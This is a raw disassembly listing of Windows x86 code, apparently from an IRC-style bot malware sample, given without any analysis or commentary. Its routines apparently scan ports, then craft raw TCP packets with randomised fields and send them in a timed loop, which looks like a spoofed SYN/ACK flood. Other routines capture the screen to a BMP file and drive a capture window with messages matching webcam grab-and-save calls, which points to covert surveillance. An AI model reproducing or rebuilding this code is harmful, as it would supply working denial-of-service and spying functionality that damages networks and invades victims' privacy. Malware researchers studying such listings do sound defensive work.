mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4E30F8 ; htons
push ebx
push esi
push 2
mov [ebp+var_9A], ax
call dword_4E3178 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4155C6
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4E3190 ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_415865
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415865: ; CODE XREF: sub_4156AF+1A8j
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_4157F3
mov esi, offset byte_4E6964
push offset asc_44D258 ; " "
push esi ; Dest
call _sprintf
mov edi, ds:dword_4F537C
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_415898: ; CODE XREF: sub_4156AF+23Fj
call edi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4158F0
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_4158C9
push eax
push esi
push offset aSD ; "%s%d "
push esi ; Dest
mov [ebp+var_10], eax
call _sprintf
add esp, 10h
jmp short loc_4158E3
; ---------------------------------------------------------------------------
loc_4158C9: ; CODE XREF: sub_4156AF+203j
push 0FFFFh
push ebx
call sub_419551
pop ecx
pop ecx
push eax
call dword_4E30F8 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_4158E3: ; CODE XREF: sub_4156AF+218j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_415898
loc_4158F0: ; CODE XREF: sub_4156AF+1FAj
; sub_4156AF+46Bj
push 28h ; Size
push ebx ; Val
push offset byte_4E6900 ; Dst
call _memset
mov esi, 0FFFFh
mov byte_4E6900, 45h
push esi
push 400h
mov byte_4E6909, 6
mov byte_4E6901, 8
call sub_419551
add esp, 14h
push eax
call dword_4E30F8 ; htons
push 28h
mov word_4E6904, ax
call dword_4E30F8 ; htons
or byte_4E6908, 0FFh
cmp dword_4E68F0, ebx
mov word_4E6902, ax
mov word_4E6906, bx
jnz short loc_415961
push [ebp+arg_0]
call sub_415B29
pop ecx
jmp short loc_41596C
; ---------------------------------------------------------------------------
loc_415961: ; CODE XREF: sub_4156AF+2A5j
push offset byte_4E62D0
call dword_4E3138 ; inet_addr
loc_41596C: ; CODE XREF: sub_4156AF+2B0j
mov dword_4E690C, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4E6910, eax
mov byte_4E6921, bl
call dword_4E30F8 ; htons
push esi
push ebx
mov word_4E6922, ax
call sub_419551
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_419551
add esp, 10h
add edi, eax
push edi
call dword_4E30F4 ; htonl
mov dword_4E6918, eax
mov al, byte_4E6920
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4E6920, al
mov ax, word ptr [ebp+var_10]
mov dword_4E691C, ebx
mov word_4E6926, bx
mov word_4E6916, ax
mov dword_4E693C, edi
mov byte_4E6940, bl
mov byte_4E6941, 6
call dword_4E30F8 ; htons
mov word_4E6942, ax
mov ax, word_4E6916
mov word_4E6928, 2
mov dword_4E692C, edi
mov word_4E692A, ax
mov [ebp+var_4], ebx
jmp short loc_415A22
; ---------------------------------------------------------------------------
loc_415A1D: ; CODE XREF: sub_4156AF+445j
mov esi, 0FFFFh
loc_415A22: ; CODE XREF: sub_4156AF+36Cj
cmp [ebp+var_4], ebx
jnz short loc_415A56
push esi
push ebx
call sub_419551
pop ecx
pop ecx
push eax
call dword_4E30F8 ; htons
mov word_4E6914, ax
mov eax, dword_4E690C
mov dword_4E6938, eax
mov byte_4E6921, 2
mov dword_4E691C, ebx
jmp short loc_415A75
; ---------------------------------------------------------------------------
loc_415A56: ; CODE XREF: sub_4156AF+376j
push esi
push ebx
mov byte_4E6921, 10h
call sub_419551
pop ecx
pop ecx
push eax
call dword_4E30F8 ; htons
movzx eax, ax
mov dword_4E691C, eax
loc_415A75: ; CODE XREF: sub_4156AF+3A5j
inc word_4E6904
inc dword_4E6918
mov ax, word_4E6916
push 5
pop ecx
mov esi, offset word_4E6914
mov edi, offset dword_4E6944
mov word_4E690A, bx
mov word_4E6924, bx
push 14h
rep movsd
mov esi, offset byte_4E6900
mov word_4E692A, ax
push esi
call sub_40AFCA
push 20h
push offset dword_4E6938
mov word_4E690A, ax
call sub_40AFCA
add esp, 10h
mov word_4E6924, ax
push 10h
push offset word_4E6928
push ebx
push 28h
push esi
push dword_4E6960
call dword_4E315C ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415A1D
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415B1F
push [ebp+arg_8]
call ds:dword_4F534C ; Sleep
jmp loc_4158F0
; ---------------------------------------------------------------------------
loc_415B1F: ; CODE XREF: sub_4156AF+460j
pop edi
pop esi
mov eax, offset byte_4E6964
pop ebx
leave
retn
sub_4156AF endp
; =============== S U B R O U T I N E =======================================
sub_415B29 proc near ; CODE XREF: sub_4156AF+2AAp
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_419551
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_415B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415B47(char *Str2,int)
sub_415B47 proc near ; CODE XREF: sub_401CC7+72A8p
var_4 = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_455298
mov edi, 0B8h
loc_415B5B: ; CODE XREF: sub_415B47+33j
cmp byte ptr [esi], 0
jz short loc_415B7E
push [ebp+Str2] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_415B7E
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_455E18
jl short loc_415B5B
jmp short loc_415BC0
; ---------------------------------------------------------------------------
loc_415B7E: ; CODE XREF: sub_415B47+17j
; sub_415B47+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi ; Size
push 0 ; Val
lea ebx, dword_455298[esi]
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Str2] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
lea eax, dword_4552B0[esi]
push [ebp+arg_4] ; Source
push eax ; Dest
call _strncpy
add esp, 24h
inc dword_43F494
pop ebx
loc_415BC0: ; CODE XREF: sub_415B47+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415B47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415BC7(int,char *Str,int)
sub_415BC7 proc near ; CODE XREF: sub_401CC7+28CEp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_44D264 ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
xor edi, edi
mov esi, offset dword_455298
loc_415BF1: ; CODE XREF: sub_415BC7+72j
cmp byte ptr [esi], 0
jz short loc_415C2C
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_ ; "%d. "
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 2Ch
loc_415C2C: ; CODE XREF: sub_415BC7+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_455E18
jl short loc_415BF1
pop edi
pop esi
leave
retn
sub_415BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C3F proc near ; CODE XREF: WinMain(x,x,x,x)+384p
; WinMain(x,x,x,x)+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_4F5404 ; GetLocalTime
mov ebx, offset byte_4EAD68
mov edi, 80h
mov esi, offset byte_4E6D68
loc_415C61: ; CODE XREF: sub_415C3F+3Dj
cmp byte ptr [ebx], 0
jz short loc_415C78
push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_415C78: ; CODE XREF: sub_415C3F+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415C61
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415C3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415CB3(char *Format,char Args)
sub_415CB3 proc near ; CODE XREF: sub_4019E7+F7p
; sub_401CC7:loc_402269p ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 14h
leave
retn
sub_415CB3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_415D0E
push ebx
push dword ptr [ebp+10h]
push offset dword_44D2B0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409D34
add esp, 14h
loc_415D0E: ; CODE XREF: .text:00415CF5j
cmp [ebp+18h], ebx
jz short loc_415D26
push dword ptr [ebp+18h]
call _atoi
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_415D26
mov [ebp-8], eax
loc_415D26: ; CODE XREF: .text:00415D11j
; .text:00415D21j
mov [ebp+14h], ebx
mov esi, offset byte_4E6D68
loc_415D2E: ; CODE XREF: .text:00415D76j
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_415D78
cmp [esi], bl
jz short loc_415D67
cmp [ebp+18h], ebx
jz short loc_415D53
cmp [ebp-4], ebx
jnz short loc_415D53
push dword ptr [ebp+18h]
push esi
call sub_418D9F
pop ecx
test eax, eax
pop ecx
jz short loc_415D67
loc_415D53: ; CODE XREF: .text:00415D3Dj
; .text:00415D42j
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409D34
add esp, 14h
loc_415D67: ; CODE XREF: .text:00415D38j
; .text:00415D51j
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset byte_4EAD68
jl short loc_415D2E
loc_415D78: ; CODE XREF: .text:00415D34j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_415D7C(int,char *Str,int,int)
sub_415D7C proc near ; CODE XREF: sub_401CC7+27C5p
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_4E6D68
xor ecx, ecx
loc_415D83: ; CODE XREF: sub_415D7C+13j
mov [eax], cl
add eax, 80h
cmp eax, offset byte_4EAD68
jl short loc_415D83
cmp [esp+arg_C], ecx
jnz short loc_415DB1
push ecx ; int
push [esp+4+arg_8] ; int
push offset dword_44D2BC ; int
push [esp+0Ch+Str] ; Str
push [esp+10h+arg_0] ; int
call sub_409D34
add esp, 14h
loc_415DB1: ; CODE XREF: sub_415D7C+19j
push offset dword_44D2D0
call sub_415C3F
pop ecx
retn
sub_415D7C endp
; ---------------------------------------------------------------------------
push esi
mov esi, offset byte_4E6D68
loc_415DC3: ; CODE XREF: .text:00415DE4j
cmp byte ptr [esi], 0
jz short loc_415DD8
push dword ptr [esp+8]
push esi
call sub_418D9F
pop ecx
test eax, eax
pop ecx
jnz short loc_415DEA
loc_415DD8: ; CODE XREF: .text:00415DC6j
add esi, 80h
cmp esi, offset byte_4EAD68
jl short loc_415DC3
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415DEA: ; CODE XREF: .text:00415DD6j
push 1
pop eax
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DEF proc near ; DATA XREF: sub_401CC7+2878o
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415E42
push edx ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push offset dword_44D2E4 ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409D34
add esp, 14h
loc_415E42: ; CODE XREF: sub_415DEF+33j
cmp [ebp+Str], 0
jz short loc_415E62
lea eax, [ebp+Str]
push eax ; Str
call _atoi
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415E62
mov [ebp+var_8], eax
loc_415E62: ; CODE XREF: sub_415DEF+5Aj
; sub_415DEF+6Ej
and [ebp+arg_0], 0
mov esi, offset byte_4E6D68
loc_415E6B: ; CODE XREF: sub_415DEF+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415EC5
cmp byte ptr [esi], 0
jz short loc_415EB4
cmp [ebp+Str], 0
jz short loc_415E9A
cmp [ebp+var_4], 0
jnz short loc_415E9A
lea eax, [ebp+Str]
push eax ; int
push esi ; Str
call sub_418D9F
pop ecx
test eax, eax
pop ecx
jz short loc_415EB4
loc_415E9A: ; CODE XREF: sub_415DEF+90j
; sub_415DEF+96j
push edi ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push esi ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409D34
add esp, 14h
loc_415EB4: ; CODE XREF: sub_415DEF+87j
; sub_415DEF+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset byte_4EAD68
jl short loc_415E6B
loc_415EC5: ; CODE XREF: sub_415DEF+82j
lea eax, [ebp+Dest]
push offset asc_44D300 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415EFF
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+var_118]
push eax ; Str
push [ebp+var_11C] ; int
call sub_409D34
add esp, 14h
loc_415EFF: ; CODE XREF: sub_415DEF+EEj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_18]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_415DEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F1E proc near ; CODE XREF: sub_401CC7+73F8p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4E30E4 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_416152
push 8
push edi
call dword_4E3100 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4E3100 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4E3100 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_415F80
push 18h
push edi
call dword_4E3100 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415F82
; ---------------------------------------------------------------------------
loc_415F80: ; CODE XREF: sub_415F1E+50j
xor ebx, ebx
loc_415F82: ; CODE XREF: sub_415F1E+60j
push edi
call dword_4E3144 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_416137
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4E313C ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_416142
push eax
push [ebp+var_4]
call dword_4E2FC8 ; SelectObject
cmp eax, esi
jz loc_416142
cmp eax, 0FFFFFFFFh
jz loc_416142
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4E3140 ; BitBlt
test eax, eax
jz loc_416142
cmp ebx, esi
jz short loc_41603F
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4E301C ; GetDIBColorTable
mov ebx, eax
loc_41603F: ; CODE XREF: sub_415F1E+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call ds:dword_4F53C0 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_416122
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call ds:dword_4F53B4 ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
cmp ebx, esi
jz short loc_416104
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
loc_416104: ; CODE XREF: sub_415F1E+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
push [ebp+arg_0]
call ds:dword_4F533C ; CloseHandle
push 1
pop esi
loc_416122: ; CODE XREF: sub_415F1E+1A2j
push [ebp+var_1C]
call dword_4E3054 ; DeleteObject
push [ebp+var_4]
call dword_4E2FB4 ; DeleteDC
mov edi, [ebp+var_20]
loc_416137: ; CODE XREF: sub_415F1E+70j
push edi
call dword_4E2FB4 ; DeleteDC
mov eax, esi
jmp short loc_416154
; ---------------------------------------------------------------------------
loc_416142: ; CODE XREF: sub_415F1E+C7j
; sub_415F1E+D9j ...
push edi
call dword_4E2FB4 ; DeleteDC
push [ebp+var_4]
call dword_4E2FB4 ; DeleteDC
loc_416152: ; CODE XREF: sub_415F1E+23j
xor eax, eax
loc_416154: ; CODE XREF: sub_415F1E+222j
pop edi
pop esi
pop ebx
leave
retn
sub_415F1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416159(int,size_t Size,int,int)
sub_416159 proc near ; CODE XREF: sub_401CC7+751Fp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4EAD6C
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4E3048
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_416197
mov eax, esi
jmp loc_41634D
; ---------------------------------------------------------------------------
loc_416197: ; CODE XREF: sub_416159+35j
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4161B4
push ebx
push [ebp+Size]
push 40Ah
push edi
call dword_4E3154 ; SendMessageA
jmp short loc_4161B6
; ---------------------------------------------------------------------------
loc_4161B4: ; CODE XREF: sub_416159+47j
xor eax, eax
loc_4161B6: ; CODE XREF: sub_416159+59j
cmp eax, ebx
jnz short loc_4161C1
loc_4161BA: ; CODE XREF: sub_416159+88j
; sub_416159+BCj
mov ebx, esi
jmp loc_416342
; ---------------------------------------------------------------------------
loc_4161C1: ; CODE XREF: sub_416159+5Fj
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4161DE
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4E3154 ; SendMessageA
loc_4161DE: ; CODE XREF: sub_416159+71j
cmp [ebp+var_20], ebx
jz short loc_4161BA
push edi
call dword_4E3098 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_416204
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_416207
; ---------------------------------------------------------------------------
loc_416204: ; CODE XREF: sub_416159+98j
mov [ebp+Size], ebx
loc_416207: ; CODE XREF: sub_416159+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Memory], eax
jz short loc_4161BA
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41622E
push 1
pop ebx
jmp loc_416342
; ---------------------------------------------------------------------------
loc_41622E: ; CODE XREF: sub_416159+CBj
push [ebp+var_4]
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_41624B
push [ebp+Memory]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_41624B: ; CODE XREF: sub_416159+E0j
push [ebp+Size] ; Size
push [ebp+Memory] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_416266
mov ecx, 280h
loc_416266: ; CODE XREF: sub_416159+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_416272
mov eax, 1E0h
loc_416272: ; CODE XREF: sub_416159+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4E3098 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_4162BC
push esi
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_4162BC: ; CODE XREF: sub_416159+153j
push [ebp+var_4]
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4162D9
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_4162D9: ; CODE XREF: sub_416159+16Ej
push [ebp+var_4]
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4162F8
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_4162F8: ; CODE XREF: sub_416159+18Bj
push [ebp+var_4]
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416315
push [ebp+Memory]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_416315: ; CODE XREF: sub_416159+1AAj
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416342
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4E3154 ; SendMessageA
loc_416342: ; CODE XREF: sub_416159+63j
; sub_416159+D0j ...
push [ebp+var_4]
call dword_4E31A8 ; DestroyWindow
mov eax, ebx
loc_41634D: ; CODE XREF: sub_416159+39j
pop edi
pop esi
pop ebx
leave
retn
sub_416159 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416352(int,size_t Size,int,int,int)
sub_416352 proc near ; CODE XREF: sub_401CC7+75D7p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Memory = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4EAD6C
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow_0 ; "Window"
call dword_4E3048
mov edi, eax
cmp edi, ebx
jnz short loc_416390
mov eax, esi
jmp loc_41658C
; ---------------------------------------------------------------------------
loc_416390: ; CODE XREF: sub_416352+35j
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4163AD
push ebx
push [ebp+Size]
push 40Ah
push edi
call dword_4E3154 ; SendMessageA
jmp short loc_4163AF
; ---------------------------------------------------------------------------
loc_4163AD: ; CODE XREF: sub_416352+47j
xor eax, eax
loc_4163AF: ; CODE XREF: sub_416352+59j
cmp eax, ebx
jnz short loc_4163BA
loc_4163B3: ; CODE XREF: sub_416352+8Bj
; sub_416352+BCj
mov ebx, esi
jmp loc_416583
; ---------------------------------------------------------------------------
loc_4163BA: ; CODE XREF: sub_416352+5Fj
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4163DA
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4E3154 ; SendMessageA
loc_4163DA: ; CODE XREF: sub_416352+71j
cmp [ebp+var_7C], ebx
jz short loc_4163B3
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4163FD
push ebx
push ebx
push 42Ch
push edi
call dword_4E3154 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_416400
; ---------------------------------------------------------------------------
loc_4163FD: ; CODE XREF: sub_416352+96j
mov [ebp+Size], ebx
loc_416400: ; CODE XREF: sub_416352+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Memory], eax
jz short loc_4163B3
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_416427
push 1
pop ebx
jmp loc_416583
; ---------------------------------------------------------------------------
loc_416427: ; CODE XREF: sub_416352+CBj
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416444
push [ebp+Memory]
push [ebp+Size]
push 42Ch
push edi
call dword_4E3154 ; SendMessageA
loc_416444: ; CODE XREF: sub_416352+DEj
